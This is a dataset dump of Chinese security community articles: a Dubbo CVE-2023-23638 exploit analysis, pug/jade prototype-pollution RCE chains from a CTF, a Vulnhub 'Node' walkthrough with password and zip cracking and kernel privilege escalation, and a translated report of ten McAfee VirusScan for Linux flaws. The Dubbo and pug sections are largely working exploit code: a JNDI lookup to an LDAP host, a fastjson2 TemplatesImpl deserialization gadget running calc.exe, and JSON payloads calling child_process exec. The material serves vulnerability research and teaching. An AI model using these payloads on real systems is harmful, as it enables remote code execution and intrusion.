text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
在对Apache dubbo
的CVE-2023-23638漏洞分析的过程中，通过对师傅们对这个漏洞的学习和整理，再结合了一些新学的技巧运用，从而把这个漏洞的利用向前推了一步。整个过程中的研究思路以及遇到问题并解决问题的过程，我觉得值得分享，所以写下此文记录。
# 漏洞背景
Apache Dubbo 是一款易用、高性能的WEB 和RPC 框架，同时为构建企业级微服务提供服务发现、流量治理、可观测、认证鉴权等能力、工具与最佳实践。
该漏洞核心原理是利用dubbo的泛化调用功能，反序列化任意类，从而造成反序列化攻击。这个漏洞影响Apache Dubbo
2.7.x，2.7.21及之前版本； Apache Dubbo 3.0.x 版本，3.0.13 及之前版本； Apache Dubbo 3.1.x
版本，3.1.5 及之前的版本。
在普通的Dubbo方法调用过程中，客户端需要环境中存在被调用类的接口，才能正常继续调用。泛化调用则是指在客户端在没有服务方提供的
API（SDK）的情况下，对服务方进行调用，并且可以正常拿到调用结果。
详细的泛化调用说明可以见：<https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/>。
既然是泛化调用，那就代表用户可以在Dubbo服务端传入任意类。也正是因为这个功能，给Dubbo带来了一些漏洞，在CVE-2021-30179中，由于这个功能没有对传入的类做任何的限制，导致攻击者可以通过传入恶意的类，并调用其特定方法，导致代码执行。后续Dubbo在代码层面对传入的类进行了限制，从而防御攻击者传入恶意的类进行RCE，而这个防御，在CVE-2023-23638中被绕过，也就是本篇文章所要讲述的内容。
# 漏洞原理
Dubbo处理泛化调用请求的核心类是org.apache.dubbo.rpc.filter.GenericFilter，在这个filter的invoke方法中，对客户端的调用进行了判断，同时根据服务端的配置进入不同的反序列化逻辑。用户进行泛化调用时可以传入一个hashmap，当map中存在generic-raw.return这组键值对时，GenericFilter就会进入PojoUtils.realize()方法，把用户传入的类进行实例化，并对实例化后对象的属性进行赋值。
CVE-2021-30179的补丁打在了类初始化的时候：
else if (pojo instanceof Map && type != null) {
Object className = ((Map)pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String)className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String)className);
} catch (ClassNotFoundException var22) {
CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
}
}
}
通过调用`SerializeClassChecker.getInstance().validateClass((String)className);`对传入的类进行黑名单过滤，过滤结束后使用`ClassUtils.forName((String)className);`获取类，后续会调用class.newInstance()进行类的实例化，最后通过如下代码进行对象的属性赋值：
if (value != null) {
Method method = getSetterMethod(dest.getClass(), name, value.getClass());
Field field = getField(dest.getClass(), name);
if (method != null) {
if (!method.isAccessible()) {
method.setAccessible(true);
}
Type ptype = method.getGenericParameterTypes()[0];
value = realize0(value, method.getParameterTypes()[0], ptype, history);
try {
method.invoke(dest, value);
} catch (Exception var20) {
String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name + " value " + value.getClass() + ", cause: " + var20.getMessage();
logger.error("0-8", "", "", exceptionDescription, var20);
throw new RuntimeException(exceptionDescription, var20);
}
} else if (field != null) {
value = realize0(value, field.getType(), field.getGenericType(), history);
try {
field.set(dest, value);
} catch (IllegalAccessException var19) {
throw new RuntimeException("Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + var19.getMessage(), var19);
}
}
}
程序会先尝试先获取类属性的set方法，如果目标类存在这个set方法，那么会利用method.invoke进行执行。如果没有set方法，那么会通过反射获取类的目标属性，然后调用field.set进行赋值。
也就是说，泛化调用对于用户提供了如下的代码执行点：
我们可以传入任意的非黑名单类，然后调用这个类的public或者private无参构造方法，然后可以调用这个生成的Object的任意set+METHOD_NAME方法，要求参数有且仅有一个，或者利用object.field.set方法对这个object的任意属性赋值。
这个漏洞存在两种利用方式，对应了dubbo提供的两种赋值的方法。
## 利用方式1
利用object.field.set进行利用。
Dubbo在泛化调用中，对传入类进行黑名单过滤的具体代码在org.apache.dubbo.common.utils.PojoUtils#realize0，使用SerializeClassChecker的validateClass方法进行过滤。
Object className = ((Map)pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String)className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String)className);
} catch (ClassNotFoundException var22) {
CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
}
}
}
validateClass方法内容如下：
public boolean validateClass(String name, boolean failOnError) {
if (!this.OPEN_CHECK_CLASS) {
return true;
} else {
...
这个方法首先会对SerializeClassChecker的OPEN_CHECK_CLASS属性进行判断，如果这个属性为false，那么就不会对传入类进行检查，直接返回。再看getInstance方法：
public static SerializeClassChecker getInstance() {
if (INSTANCE == null) {
Class var0 = SerializeClassChecker.class;
synchronized(SerializeClassChecker.class) {
if (INSTANCE == null) {
INSTANCE = new SerializeClassChecker();
}
}
}
return INSTANCE;
}
这是一个典型的单例模式的写法。因此如果我们可以替换掉这个INSTANCE对象，将它的OPEN_CHECK_CLASS属性置为false，那么就可以绕过黑名单类的检查，之后就可以使用类似CVE-2021-30179的POC进行代码执行。核心代码如下：
private static Map getInstance() throws IOException {
HashMap newChecker = new HashMap();
newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
newChecker.put("OPEN_CHECK_CLASS", false);
HashMap map = new HashMap();
map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map.put("INSTANCE", newChecker);
LinkedHashMap map2 = new LinkedHashMap();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");
map2.put("autoCommit", true);
HashMap map3 = new HashMap();
map3.put("class","java.util.HashMap");
map3.put("1",map);
map3.put("2",map2);
return map3;
}
第一个newChecker，用于创建一个OPEN_CHECK_CLASS属性值为false的SerializeClassChecker的对象，第二个map，用于将newChecker传入到SerializeClassChecker的单例INSTACNE属性中。然后第三个map2，使用类似CVE-2021-30179的POC，创建一个com.sun.rowset.JdbcRowSetImpl对象，然后dubbo会先后调用setDataSourceName和setAutoCommit，从而向我们指定的地址发起JNDI请求。需要注意这里map2需要设置为LinkedHashMap，否则在dubbo进行set调用时可能无法按照先setDataSourceName，再setAutoCommit的顺序执行。
## 利用方式2
利用object.set+METHOD_NAME进行利用。
dubbo在泛化调用的过程中是存在一个接口允许原生java反序列化的。但是这个接口默认不开启，同时会进行序列化的黑名单类检查。然而这个接口调用开关是可以被控制的，我们如果可以把它打开，那么这个漏洞就变成了一个原生的java反序列化漏洞，利用特定的gadget就可以RCE。在<https://xz.aliyun.com/t/12333#toc-5>中，师傅提到了可以使用`org.apache.dubbo.common.utils.ConfigUtils`类，它存在一个setProperties方法，可以对`PROPERTIES`对象进行赋值，从而控制开关。但是我发现`org.apache.dubbo.common.utils.ConfigUtils`的setProperties方法只在2.7.x版本的dubbo存在，3.0.x和3.1.x都是没有的。那有没有什么通用的方法呢？事实上，Dubbo的configuration也是可以通过java.lang.System类的props对象进行传入的。那么就可以直接调用System.setProperties方法，传入修改后的dubbo配置。代码如下：
private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
在这之后就可以使用类似如下的代码进行原生反序列化利用
out.writeObject(getEvilObject());
HashMap attachments = new HashMap();
attachments.put("generic", "nativejava");
out.writeObject(attachments);
# 进一步拓展
上述两种方法，在公开的分析文章里，都存在着一些问题。方法1中最终的Sink点是JNDI注入，需要出网。方法2中最终需要依赖特定的Gadget，在之前的Dubbo的反序列化分析文章中，大家在Gadget选择时都会使用一些三方依赖进行漏洞利用，例如Rome、CommonsBeanutils1等。那Dubbo是否存在原生的Java反序列化链呢？
在Dubbo
3.1.x的版本中，新增了对Fastjson2的支持。恰好前段时间刚好看到有师傅发了[fastjson库在原生Java反序列化中的利用](https://paper.seebug.org/2055/#fastjson1
"fastjson库在原生Java反序列化中的利用")。结论是fastjons小于1.2.48版本是可以使用，fastjson2全版本是通杀的。利用的原理是fastjson的JSONArray或者JSONObject在调用其toString方法时，会触发其包裹对象的get+METHOD_NAME方法。因此很容易想到可以包裹一个TemplatesImpl对象，通过调用其getOutputProperties方法，从而执行任意代码。
既然已经有了方法，那实现一下试试吧。关键代码如下：
public static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},
clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "test");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new
BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();
UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
ObjectOutput o = nativeJavaSerialization.serialize(null,unsafeByteArrayOutputStream);
o.writeObject(val);
return unsafeByteArrayOutputStream.toByteArray();
}
send(getProperties());
send(getObject());
程序先通过System.setProperties修改目标的序列化配置，然后再发送恶意的序列化代码，指定目标执行一个Calc.exe程序。结果程序报错了，报错如下：
程序最前面和预期的一样，成功执行了Java原生反序列化，但是在反序列化的过程中，fastjson2的JSONWriter\$Context的类初始化时，在TzdbZoneRulesProvider的构造函数中报错了，其构造函数如下：
public TzdbZoneRulesProvider() {
try {
String libDir = System.getProperty("java.home") + File.separator + "lib";
try (DataInputStream dis = new DataInputStream(
new BufferedInputStream(new FileInputStream(
new File(libDir, "tzdb.dat"))))) {
load(dis);
}
} catch (Exception ex) {
throw new ZoneRulesException("Unable to load TZDB time-zone rules", ex);
}
}
可以看到，这个构造函数中会调用System.getProperty("java.home")，拼接进文件读取路径，从而去读取jre路径下的tzdb.dat，这是一个IANA提供的TimeZone数据库，维护着最新最全的全球时区相关基础数据。由于我们在反序列化前替换掉了目标服务的System类的props对象，因此，这里System.getProperty("java.home")就会返回null，从而导致报错。
这个问题如何解决呢？通过观察调用链，以及动态调试，我找到了解决方法。通过在TzdbZoneRulesProvider类的构造函数打断点。
注意到TzdbZoneRulesProvider的初始化是被ZoneRulesProvider的类初始化调用的。ZoneRulesProvider的相关代码如下：
可以看到在ZoneRulesProvider类的static代码块中调用的new
TzdbZoneRulesProvider()。static块的代码在程序被运行起来后，之后最多加载一次。因此如果可以让这个ZoneRulesProvider类在我们执行攻击前被加载一次，那么我们在执行攻击时就不会再加载这块代码，也就不会报错了。
有了这个方法，第一时间就想到，dubbo
的泛化调用可以初始化并newIntance类，并且TzdbZoneRulesProvider是ZoneRulesProvider的子类，ZoneRulesProvider在newIntance时初始化其弗雷，从而调用传ZoneRulesProvider类的static代码。基于这个想法，构造如下代码：
private static Map getInstance() throws IOException {
HashMap map = new HashMap();
map.put("class", "java.time.zone.TzdbZoneRulesProvider");
return map;
}
private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
分成两步发送，最后发送序列化poc，即可完成代码执行。
# 参考链接
* <https://paper.seebug.org/2055/>
* <https://xz.aliyun.com/t/12333> | 社区文章 |
# 从一道题开始的pug原型污染链挖掘
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前在hackthebox的一次ctf比赛中有一道题考察了原型链污染攻击pug,在做题的时候用AST
Injection这种方式又发现了一个未公开的pug&&jade的原型攻击链,和大家分享一下.
## 题目简析
这道题目具体是HackTheBox 2021 Cyber Apocalypse 2021的一道web题,wp和源码可以在下面这个链接里面找到.
<https://github.com/evyatar9/Writeups/tree/d67484a86ede51e8cdb3ea1b8ed042363c471296/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Web-BlitzProp>
题目场景:一个提交表单,用json来传输提交的数据
分析代码,发现代码量也很少,只有两个路由
仔细分析`/api/submit`部分代码发现用了flat这个库解析传过去的json数据, 题目flat版本是5.0.0,
这个版本存在一个原型链污染漏洞,详情参考 <https://snyk.io/vuln/npm:flat> .
所以可以post下面的数据成功进入if条件里面:
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild"
}
// Hello guest, thank you for letting us know!
存在原型链污染,题目又没有别的可利用点,所以只能考虑原型链污染打pug.预期解应该是使用 **POSIX** 师傅这条公开链打,
<https://blog.p6.is/AST-Injection/> .
但是当时我还不知道pug有一个现成的原型攻击链,所以就尝试手动调试挖掘下,就开启我的模板引擎调试之旅.
## 任意文件读取
由于pug是jade换了名字改过来的,我就直接尝试了jade的链子能不能打通,就意外发现报错可用带出部分文件内容.
jade的链子直接打是会报错的:
于是我深入调试分析,直接进入`pug.compile`函数
跟进`compileBody`
在compile处下断点
!
发现会调用generateCode插件,再继续跟踪调试到`Compiler.compile()`
下面这段代码其实就很熟悉了,最终要返回执行的模板函数会存在`buf`里面,而`buf`在pug下面这段代码里面又传给了`js`
之前post的json是:
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"{}.__proto__.self":true,
"line":"global.process.mainModule.require('child_process').exec('calc')"
}
发现报错其实是污染this.options.self改变了程序运行逻辑,下面这段代码
未污染的时候self为undefined值.然后接着调试,发现报错的时候有惊喜,报错的时候有一个filename是undefined,尝试把它污染,污染之后会继续执行后面的代码,否则会直接throw
error.
之后发现存在读取文件操作
最后发现会把文件内容拼接到报错信息:
然后在非debug条件下:
payload :
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"{}.__proto__.self":true,
"{}.__proto__.filename":"./flag"
}
但是当时的flag文件是/flagxxxxx后面是随机的,所以这题就没出: (
## AST Injection
赛后发现pug有现成链子:
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('calc')"
}
}
很好奇这个链子是怎么挖出来的,所以仔细阅读了POSIX这篇文章 . <https://blog.p6.is/AST-Injection/>
里面讲了一种AST Injection的方法,挖掘了很多模板引擎的原型污染链.
由于还没学编译原理,对模板引擎底层设计也不熟悉,所以感觉这篇文章的精髓也没有理解,只能跟着调试一下.
调试的时候会发现下面这端代码, `this.visit`,这段代码对于调试过jade
RCE链的人来说必定很熟悉,因为jade的恶意代码就是通过污染node.line拼接到模板函数里面的.
但是比赛的时候我并没有调试出node.line为undefined的情况,所以污染这个也不起什么作用,后来发现是格局小了(
不存在node.line为undefined这个条件,我们可以自己创造条件( XD ,
如果调试的够仔细的话可以发现在`visitCode()`函数中存在`code.block`为undefined的情况.block值不为空就会调用this.visit,进而有node.line为undefined的情况
然后就有熟悉又亲切的undefined line
最终的payload:
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"{}.__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('calc')"
}
}
## 另一条链
如果调试的够仔细的话可以发现村在`visitTag()`里面也存在tag.code.
污染一下再跟进到visitCode:
发现code.buffer为undefined(默认)或false的时候会把code.val(undefined)push到模板函数,所以可用注入一个visitTag进去
{
"song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
"__proto__.code":{
"val":";process.mainModule.require('child_process').exec('calc');"
}
}
然后就弹出计算器了 : )
另外再说一下,因为jade和pug比较像,所以我尝试了一下在jade模板引擎里面这条链打不打得通,发现可以,payload如下,分析就不贴了,差不多的.
{
"__proto__":{
"self":"1",
"code":{
"val":";process.mainModule.require('child_process').exec('calc');"}
}
}
## 总结
我比较菜,只额外找到了另外一条链.POSIX师傅这个思路真的很强,顺着这个思路可能还可以找出一些别的链子,有兴趣的师傅可以调试分析下.
另外报错读取文件也很有趣, 大师傅们可以再深入探索下. 有新的发现可以联系我交流hh . | 社区文章 |
## 信息收集
arp-scan 用来发现系统和指纹识别的命令行工具。
从结果中可以看到node的ip是"192.168.92.129"
使用nmap对端口进行探测，如下图所示：
可知开放的端口有2个，分别是：22和3000，其中3000是个web服务；
详细banner信息，如下图所示：
访问3000端口，有如下界面：
该web界面使用node.js编写，通过审计js源码，在“assets/js/app/controllers/home.js”这个文件中可以获取到存储敏感信息的位置`/api/users/latest/`
,如下图所示：
访问该位置，获取到用户名和密码，如下图所示：
使用`hash-identifier`判断加密方式，为SHA-256，如下图所示：
接下来，就是破解出这个密码，使用[在线工具](http://md5decrypt.net)，获得密码如下：
使用任意一个口令登录，登陆后如下图所示，没有获取到任何有价值的信息：
这里面说`Only admin users have access to the control panel currently, but check
back soon to test the standard user
functionality!`只有管理员用户才能访问这个界面，猜想应该还有另外的管理员帐号，直接访问`/api/users/`
获取到了另外一个用户（myP14ceAdm1nAcc0uNT），如下图所示：
解出该用户的密码（manchester）后，登录可以下载该网站的备份源码，如下图所示：
## 审计源码
下载源码后，发现不能直接打开，首先对其进行base64解码，如下图所示：
发现是个加密文件，需要先进行破解，可以使用kali自带工具`fcrackzip`进行破解，该工具支持暴力破解和字典猜解两种方式，如下图所示：
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip
参数 | 描述
---|---
-D | 指定方式为字典猜解
-p | 指定猜解字典的路径
-u | 表示只显示破解出来的密码，其他错误的密码不显示出
通过字典猜解出密码为`magicword`:
解压出源代码，如下图所示：
熟悉nodejs的同学了解app.js的作用，`项目入口及程序启动文件`，里面存储着重要配置信息，从该文件中，获取到mongodb的配置信息，如下图所示：
使用mark的用户信息，成功登录到ssh，如下图所示：
当前用户（mark）没有root权限，需要进行提权操作。
## 权限提升
确定当前系统的内核版本和系统版本，如下图所示：
命令 | 描述
---|---
lsb-release | 查看发行的系统版本信息
arch | 机器的体系架构
通过查看版本信息，使用`searchsploit`（漏洞查询工具） 查找，可以知道该内核版本存在[漏洞](https://www.exploit-db.com/exploits/44298/)可以直接提权，如下图所示：
使用`scp`命令（远程文件拷贝）将payload上传至靶机，如下图所示：
对上传的文件进行编译，如下图所示：
执行该文件，可成功提权，如下图所示；
最终将会获取到两个flag：
一个是在`/root/root.txt` ;
另一个是在`/home/tom/user.txt`;
## 参考链接
[Vulnhub walkthrough](https://medium.com/egghunter/node-1-vulnhub-walkthrough-5635aa56cc74 "Vulnhub walkthrough") | 社区文章 |
# 【技术分享】Linux下的McAfee安全扫描软件存在多个漏洞
|
##### 译文声明
本文是翻译文章，文章来源：nation.state.actor
原文地址：<http://nation.state.actor/mcafee.html#vuln7>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[ResoLutiOn ](http://bobao.360.cn/member/contribute?uid=2606886003)
预估稿费：260RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**事件综述**
近期，有网络安全人员发现：Linux系统下的安全扫描软件McAfee中存在多个安全漏洞【软件传送门：[（McAfee for
Linux）](http://www.mcafee.com/us/products/virusscan-enterprise-for-linux.aspx)】，黑客可利用其中一些漏洞盗用Linux系统的root权限，发动RCE攻击。
**
**
**关于McAfee** **软件的情况介绍**
McAfee VirusScan Enterprise for
Linux,一款利用Linux独特访问扫描程序，对系统进行实时防护的安全检测软件，由Intel旗下的子公司McAfee推出。该软件适用于使用Linux系统的企业用户。它能够检测隐藏在存档文件中的Linux病毒并予以阻止；阻止Microsoft
Windows恶意软件，防止其通过Linux环境传播；同时还能借助来自McAfee
Labs的自动安全更新，确保始终提供最新的Linux病毒防护。由此可见，McAfee VirusScan Enterprise for
Linux的功能可谓十分强大。
起初，在很多安全专家看来，这款安全防护软件似乎是“尽善尽美”，它近乎拥有了漏洞研究人员所期待的所有优点，例如：它能够利用系统root权限，这便能够保证用户PC的安全；但在最近一段时间里，McAfee似乎有点淡出人们视野的味道，原因在于在很长一段时间里，McAfee公司已没有对其进行更新了。当发现这些情况时，我决定要细致地了解有关该软件的具体情况。
**
**
**受到漏洞影响的McAfee** **版本**
安全研究人员证实：从McAfee
1.9.2版本（于2015年2月19日发布）到2.0.2版本（于2016年4月22日发布），都存在多个相同的安全漏洞。它们之间唯一的差别便是：在漏洞利用方面，新版本要比旧版本更容易实施，也即是说：近期的McAfee软件的安全性下降了很多，更容易遭到黑客利用。
**
**
**漏洞报告时间轴**
1.2016年6月23日：安全人员将漏洞的相关情况向McAfee公司的安全应急响应中心（CERT）做了汇报；McAfee公司定于2016年8月23日向公众披露漏洞的具体细节。
2.2016年7月19日：McAfee公司发表声明称： 鉴于关于漏洞的细节仍在不断更新中，他们决定将发布公告的时间延期至9月，最晚可至12月；
3.2016年9月-11月期间：安全人员未与McAfee公司取得联系；
4.2016年12月5日：McAfee公司发布消息称：公司将于12月12日发布关于McAfee软件漏洞的完整报告；
5.2016年12月9日：McAfee公司发表安全公告，定义了漏洞的数字ID；
6.2016年12月12日：完整的McAfee漏洞报告披露。
**
**
**McAfee** **软件系统结构**
在深入探究McAfee软件漏洞的具体情况之前，我认为有必要先了解有关的软件结构，磨刀不误砍柴工，这将会对之后的漏洞研究有着一定的帮助。
**（1** **）软件所提供的服务：**
McAfee VirusScan Enterprise for
Linux可向用户提供两种单独的服务：一是用户能够以系统root权限运行该软件；二是还可以一种名为“nails”的非特权用户的身份运行该软件。具体说来，用户可用root权限使用该软件的主要扫描功能，它能够侦听一个本地的Unix网络套接字包（/var/opt/NAI/LinuxShield/dev/nails_monitor）。而网络服务器则可以用nails用户身份来运行，它能够侦听端口0.0.0:55443发出的数据包。
**（2）实现进程间的通信**
在该软件的架构中，网络服务器是设置在扫描服务上的一个用户交互界面。当用户向网络服务器提交了一个请求时，该请求会被重新格式化，以另一种形式发送给root扫描程序；系统将会在一个HTML界面中显示该用户提交的请求及其相关信息。由于在交互过程中，web服务器不会对用户传递的数据做出太多的限制，这便给黑客利用该漏洞，向系统注入恶意代码提供了可趁之机。
**10个具体的McAfee漏洞：** **** ****
接下来，我将为大家具体介绍10个McAfee VirusScan Enterprise for Linux软件中存在的漏洞。
**No.1 CVE-2016-8016:未经验证的远程文件存在性校验漏洞**
当我们在浏览网页的编译代码时，即会发现该html文件的存放路径是由tpIt参数来决定。在上图中，该tpIt参数是放置在tasks.html文件中。而运行在web服务器上的Linux
Strace工具会显示：可打开/opt/NAI/LinuxShield/apache/htdocs/0409/tasks.html文件，如下所示：
在编译时，如果将tpIt参数放置在地址为..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd（该字符串经过URL加密处理）的不同的页面中，那么编译过程就会出错，系统会返回一个格式错误的页面，并附有错误返回值14。而JavaScript语言中的lookupErrorCode功能函数会根据错误返回值14，向用户发送“web模块使用错误”的提示语句。若将tpIt参数放置在一个不存在的系统路径中，那么错误返回值将变为10，错误提示语句为“系统无法打开该文件”。如下图所示：
若系统中有类似的，已被命名的文件存在，那么系统会向未经授权的用户提示这两种错误编译消息。
那么问题来了，有效的网页编译文件（例如：tasks.html）和无效网页编译文件（例如：
_..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd_ ）之间的区别是什么呢？
我将会继续深入探究这一问题。
**No.2 CVE-2016-8017:** **非法读取未经授权的远程文件（含有约束条件）**
经过查看web服务器所使用的不同类型文件，我发现在有效编译文件的任何两个语句之间要么含有__REPLACE_THIS__字符串，要么含有【% %】标识符。
如果攻击者能够将以上的语句添加到系统的任何一个文件中（其中包括系统日志文件），那么他便可以通过web服务器进行远程读取文件。对于该漏洞的防护措施之一便是，对用户的身份进行严格限制：只允许具有nails身份的用户读取系统中的文件。
**No.3 CVE-2016-8018:软件中不含CSRF（跨站请求伪造）令牌验证机制** **** ****
由于在软件的网页交互界面中，不含有防止CSRF攻击的令牌认证功能，这便使得黑客在通过了系统的身份验证后，可以随意地向系统提交认证请求，发动CSRF攻击。现在，看到一个安全软件竟然存在这样一个高危漏洞，令我着实感到很惊讶。利用CSRF令牌保护缺失而发动攻击，这只是黑客实施远程攻击的手段之一。
**No.4 CVE-2016-8019:** **跨站脚本攻击**
当将tpIt参数设置为指向NailsConfig.html文件或Monitor.html文件时，info：7和info：5这两个参数值将会替换用户的不可信输入，并将结果返回给JavaScript的formatData函数。info：7代表的是一个执行语句的清单，其中可能包含：single，show，serverUtcOffset=-25200等语句值。之后，系统会将其放入一个由单引号引导的字符串语句中，传递给formatData函数。若info:7被用来指向形如single’.prototype.constructor=eval（'alert(“xss”)’）的语句时，eval函数将在formatData函数被调用之前，便会按照函数的功能，计算字符串中恶意代码的值。
之后，经过修改数据包中的信息，系统会向用户发出一条关于XSS攻击的消息，如下所示：
**No.5 CVE-2016-8020:** **远程代码执行及提权漏洞**
在进行扫描系统之前，用户需要填写一个4页的表格：
在表格提交之后，系统会向web服务器提交一个请求。下图展示的是整个过程中使用到的部分参数：
nailsd.profile.ODS_9.scannerPath变量所包含的文件路径，也即是系统进行扫描操作的执行路径。若将路径修改为：/bin/sh，则在网页界面中会出现以下的错误结果：
Strace工具将会给出信息，表明系统会通过一个以root权限运行的进程，将该参数传递给一个execve文件（可执行文件）。
**No.6 CVE-2016-8021:** **利用** **web** **界面，可向已知地址写入任意文件**
用户可通过web界面指定使用一台网络服务器，并从该服务器上获取有关的更新信息。自从我决定要找到一种能够帮助用户远程向系统内写入文件的方法之后，我便意识到前面提到的那个特点会对我有所帮助。
为了查明更新服务器是如何运作的，我先是备份了本地的资源库，之后从我的服务器上下载了新的资源库，重新配置新的服务器。以此来探究服务器的运作过程。
系统日志文件记录了更新进程所完成的操作，包括：下载一个更新程序包、验证其完成性、解压以及安装等。
生成一个shell脚本其实很简单，但这需要花费一定的时间来进行下载，而且必须在一个网络数据包开始发送之前就要完成。这里有一个替代的方法，即为创建一个带有需求数据包的脚本程序，并在其中加入描述信息，就能够实现与shell脚本相同的功能。
结合CVE-2016-8020（漏洞5）和CVE-2016-8021（漏洞6），我们就能够实现提升用户的系统权限（从nails变为root）。使用CSRF或XSS攻击方式，我们便可以实现远程提权。
**No.7 CVE-2016-8022** **：远程利用身份验证令牌**
在一次尝试利用一个XSS漏洞和CSRF漏洞的过程中，我将一个简易的cookie工具和从一名授权用户的系统中“拿到”的cookie融合在一起，作为测试工具来使用。但当我准备试着利用我的PC发起“攻击”时，发现我的身份验证失败了：
我还尝试着写出了一个脚本程序，它能够重设在数据通信过程中的阻断和拦截程序。
接下来的两张图能够告诉我们有效请求和无效请求之间的区别：
有效请求：
无效请求
这看起来似乎有点奇怪：当用户向服务器提交了一个系统已授权的请求时，web服务器就会发送该台PC的IP地址（cookie除外）。虽然这种方式有点不寻常，但能够保证通信的安全。
**No.8 CVE-2016-8023** **：暴力破解身份验证令牌**
鉴于之前逻辑解析测试的失败，我更想要探究其他的cookie是如何进行逻辑确认测试的。
下面给出的是nailsSessionId cookie的取值情况。它们是在用户进行登录和注销操作的过程中产生的，仅限于nails身份用户。
而在常规的登录过程中，似乎仅有两部分的cookie的情况发生了改变。Cookie的格式为：
相关变量的参数为：
**No.9 CVE-2016-8024** **：** **HTTP** **响应拆分攻击**
用户可通过点击“系统事件”界面上的导出按钮，以此来导出记录系统日志数据的CSV文件。
当用户发送请求之后，参数info的值会被置为%3A0。一般情况下，该参数的值为multi%2Capplication%2Fvnd.ms-excel。之后，服务器会给系统发送一个名为Content-Type: application/vnd.ms-excel的标头文件（Header）作为响应。攻击者可通过简单地url加密处理标头文件的方式，创建一个藏有恶意标头文件的链接。
**No.10 CVE-2016-8025:验证性SQL注入攻击** **** ****
我在实验中所使用的数据库是SQLite轻型数据库，用来保存相关的设置数据和扫描数据。经过观察我发现，该数据库的安全性较弱，黑客可在该数据库的每一个接口处实施SQL代码注入攻击。这款数据库能够将URL参数转换为SQLite命令语句。使用我在第九号漏洞介绍中提到的CSV导出方法，我们可通过点击一个URL的方式，丢弃CSV文件中的sqlite_master标签。而SQLite中的查询函数select
* from
sqlite_master;则是被嵌入到了一个URL中。（URL:[localhost:55443/0409/nails?pg=proxy&tplt=-&addr=127.0.0.1%3A65443&mon%3A0=db+select+_show%3D%24*++_output%3Dcsv+_table%3Dsqlite_master+&info%3A0=multi%2Capplication%2Fvnd.ms-excel](http://nation.state.actor/mcafee.html).）
该数据库不用于身份验证，而是用于追踪被扫描过的文件以及系统事件日志。在了解了系统相关的漏洞情况之后，攻击者便可以通过SQL注入攻击来修改系统事件日志，以清除他们在系统中留下的文件追踪记录。
该数据库的模型如下所示：
**
**
**总结**
黑客若将以上所有漏洞均加以利用，便能在Linux系统中以root权限执行RCE攻击，具体如下：
1. 利用CVE-2016-8022（漏洞7）和CVE-2016-8023（漏洞8），可暴力破解身份验证令牌。
2. 可运行被恶意代码感染的更新服务器。
3. 利用CVE-2016-8022（漏洞7），可向服务器发送带有验证令牌的请求，要求服务器自动更新数据。
4. 利用CVE-2016-8021（漏洞6），可迫使目标PC自动创建恶意脚本。
